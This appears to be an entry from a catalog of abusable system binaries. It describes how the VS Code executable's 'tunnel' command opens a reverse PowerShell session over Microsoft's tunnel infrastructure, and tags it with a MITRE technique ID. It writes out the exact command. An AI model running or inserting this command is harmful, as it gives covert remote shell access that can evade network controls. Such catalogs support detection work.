code.exe

VSCode binary, also portable (CLI) version

Execute

Reverse PowerShell session over MS provided infrastructure.

code.exe tunnel --accept-server-license-terms --name "tunnel-name"

Starts a reverse PowerShell connection over global.rel.tunnels.api.visualstudio.com via websockets; command — MITRE: T1219.001 — Privileges: User